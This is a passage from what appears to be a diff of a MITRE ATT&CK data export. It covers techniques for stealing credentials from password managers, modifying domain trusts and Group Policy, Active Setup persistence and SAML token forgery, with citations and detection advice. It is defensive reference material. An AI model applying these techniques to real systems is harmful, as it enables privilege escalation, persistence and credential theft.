'https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/'}, {'source_name': 'Intezer Russian APT Dec 2020', 'description': ""Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021."", 'url': 'https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Christiaan Beek, @ChristiaanBeek']","['File: File Creation', 'File: File Metadata']","['Anti-virus, Application control']","Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-01-22T16:08:40.629Z,2021-06-21T17:58:03.269Z,Password Managers,"Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610) - Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1555/005', external_id='T1555.005'), ExternalReference(source_name='ise Password Manager February 2019', description='ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.', url='https://www.ise.io/casestudies/password-manager-hacking/'), ExternalReference(source_name='FoxIT Wocao December 2019', description='Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.', url='https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf'), ExternalReference(source_name='Github KeeThief', description='Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.', url='https://github.com/GhostPack/KeeThief'), ExternalReference(source_name='NVD CVE-2019-3610', description='National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.', url='https://nvd.nist.gov/vuln/detail/CVE-2019-3610'), ExternalReference(source_name='Cyberreason Anchor December 2019', description='Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.', url='https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware')]",attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-14 19:15:22.416000+00:00,Password Managers,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matt Burrough, @mattburrough, Microsoft']","['Process: OS API Execution', 'File: File Access', 'Process: Process Access', 'Command: Command Execution']",,,,,"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. + Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1555/005', 'external_id': 'T1555.005'}, {'source_name': 'ise Password Manager February 2019', 'description': 'ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.', 'url': 'https://www.ise.io/casestudies/password-manager-hacking/'}, {'source_name': 'FoxIT Wocao December 2019', 'description': 'Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.', 'url': 'https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf'}, {'source_name': 'Github KeeThief', 'description': 'Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.', 'url': 'https://github.com/GhostPack/KeeThief'}, {'source_name': 'NVD CVE-2019-3610', 'description': 'National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2019-3610'}, {'source_name': 'Cyberreason Anchor December 2019', 'description': 'Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.', 'url': 'https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matt Burrough, @mattburrough, Microsoft']","['Process: OS API Execution', 'File: File Access', 'Process: Process Access', 'Command: Command Execution']",,"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. -Consider monitoring file reads surrounding known password manager applications.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-12-28 21:59:02.181000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. +Consider monitoring file reads surrounding known password manager applications.",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-28T21:59:02.181Z,2021-01-11T18:21:20.213Z,Domain Trust Modification,"Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. -Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1484/002', external_id='T1484.002'), ExternalReference(source_name='Microsoft - Azure AD Federation', description='Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.', url='https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed'), ExternalReference(source_name='Microsoft - Azure Sentinel ADFSDomainTrustMods', description='Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.', url='https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml'), ExternalReference(source_name='Sygnia Golden SAML', description='Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', url='https://www.sygnia.co/golden-saml-advisory'), ExternalReference(source_name='CISA SolarWinds Cloud Detection', description='CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', url='https://us-cert.cisa.gov/ncas/alerts/aa21-008a'), ExternalReference(source_name='Microsoft - Update or Repair Federated domain', description='Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', url='https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365')]",attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-01-11 18:21:20.213000+00:00,Domain Trust Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Blake Strom, Microsoft 365 Defender']","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']",,,,,"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) +Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1484/002', 'external_id': 'T1484.002'}, {'source_name': 'Microsoft - Azure AD Federation', 'description': 'Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed'}, {'source_name': 'Microsoft - Azure Sentinel ADFSDomainTrustMods', 'description': 'Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.', 'url': 'https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml'}, {'source_name': 'Sygnia Golden SAML', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', 'url': 'https://www.sygnia.co/golden-saml-advisory'}, {'source_name': 'CISA SolarWinds Cloud Detection', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a'}, {'source_name': 'Microsoft - Update or Repair Federated domain', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Blake Strom, Microsoft 365 Defender']","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']",,"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) -Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"", or Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)",,,,,True,,,['Administrator'],"['Windows', 'Azure AD']",,,,1.0 -2020-12-28 21:50:59.844000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) +Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"", or Update-MSOLFederatedDomain –DomainName: ""Federated Domain Name"" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)",True,['Administrator'],"['Windows', 'Azure AD']",1.0,,,,,,, +attack-pattern,attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-28T21:50:59.844Z,2021-02-09T15:52:24.315Z,Group Policy Modification,"Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain. Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) -For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1484/001', external_id='T1484.001'), ExternalReference(source_name='TechNet Group Policy Basics', description='srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.', url='https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/'), ExternalReference(source_name='ADSecurity GPO Persistence 2016', description='Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', url='https://adsecurity.org/?p=2716'), ExternalReference(source_name='Wald0 Guide to GPOs', description='Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.', url='https://wald0.com/?p=179'), ExternalReference(source_name='Harmj0y Abusing GPO Permissions', description='Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.', url='http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/'), ExternalReference(source_name='Mandiant M Trends 2016', description='Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.', url='https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf'), ExternalReference(source_name='Microsoft Hacking Team Breach', description='Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.', url='https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/'), ExternalReference(source_name='Harmj0y SeEnableDelegationPrivilege Right', description='Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.', url='http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/')]",attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-02-09 15:52:24.315000+00:00,Group Policy Modification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Itamar Mizrahi, Cymptom', 'Tristan Bennett, Seamless Intelligence']","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']",,,,,"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: +For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1484/001', 'external_id': 'T1484.001'}, {'source_name': 'TechNet Group Policy Basics', 'description': 'srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.', 'url': 'https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', 'url': 'https://adsecurity.org/?p=2716'}, {'source_name': 'Wald0 Guide to GPOs', 'description': 'Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.', 'url': 'https://wald0.com/?p=179'}, {'source_name': 'Harmj0y Abusing GPO Permissions', 'description': 'Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.', 'url': 'http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/'}, {'source_name': 'Mandiant M Trends 2016', 'description': 'Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf'}, {'source_name': 'Microsoft Hacking Team Breach', 'description': 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.', 'url': 'https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/'}, {'source_name': 'Harmj0y SeEnableDelegationPrivilege Right', 'description': 'Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.', 'url': 'http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itamar Mizrahi, Cymptom', 'Tristan Bennett, Seamless Intelligence']","['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']",,"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: * Event ID 5136 - A directory service object was modified * Event ID 5137 - A directory service object was created @@ -115,32 +224,32 @@ For example, publicly available scripts such as New-GPOImmediateTask HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016) -Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547/014', external_id='T1547.014'), ExternalReference(source_name='Klein Active Setup 2010', description='Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.', url='https://helgeklein.com/blog/2010/04/active-setup-explained/'), ExternalReference(source_name='Mandiant Glyer APT 2010', description='Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020.', url='https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf'), ExternalReference(source_name='Citizenlab Packrat 2015', description='Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.', url='https://citizenlab.ca/2015/12/packrat-report/'), ExternalReference(source_name='FireEye CFR Watering Hole 2012', description='Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', url='https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'), ExternalReference(source_name='SECURELIST Bright Star 2015', description='Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really Spreading through the Bright Star?. Retrieved December 18, 2020.', url='https://securelist.com/whos-really-spreading-through-the-bright-star/68978/'), ExternalReference(source_name='paloalto Tropic Trooper 2016', description='Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.', url='https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--22522668-ddf6-470b-a027-9d6866679f67,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-03-05 22:36:37.414000+00:00,Active Setup,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\. +Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/014', 'external_id': 'T1547.014'}, {'source_name': 'Klein Active Setup 2010', 'description': 'Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.', 'url': 'https://helgeklein.com/blog/2010/04/active-setup-explained/'}, {'source_name': 'Mandiant Glyer APT 2010', 'description': 'Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020.', 'url': 'https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf'}, {'source_name': 'Citizenlab Packrat 2015', 'description': 'Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.', 'url': 'https://citizenlab.ca/2015/12/packrat-report/'}, {'source_name': 'FireEye CFR Watering Hole 2012', 'description': 'Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'}, {'source_name': 'SECURELIST Bright Star 2015', 'description': 'Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really Spreading through the Bright Star?. Retrieved December 18, 2020.', 'url': 'https://securelist.com/whos-really-spreading-through-the-bright-star/68978/'}, {'source_name': 'paloalto Tropic Trooper 2016', 'description': 'Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.', 'url': 'https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)']","['Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Command: Command Execution']",,"Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\. -Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",,,,,True,,,['Administrator'],['Windows'],,,,1.0 -2020-12-17 15:24:12.240000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",True,['Administrator'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-12-17T15:24:12.240Z,2021-09-20T16:47:19.173Z,SAML Tokens,"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML) An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users. -An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1606/002', external_id='T1606.002'), ExternalReference(source_name='Microsoft SolarWinds Steps', description='Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.', url='https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/'), ExternalReference(source_name='Microsoft SAML Token Lifetimes', description='Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.', url='https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes'), ExternalReference(source_name='Cyberark Golden SAML', description='Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.', url='https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps'), ExternalReference(source_name='Microsoft SolarWinds Customer Guidance', description='MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', url='https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'), ExternalReference(source_name='Sygnia Golden SAML', description='Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', url='https://www.sygnia.co/golden-saml-advisory')]",attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2,"[KillChainPhase(kill_chain_name='mitre-attack', 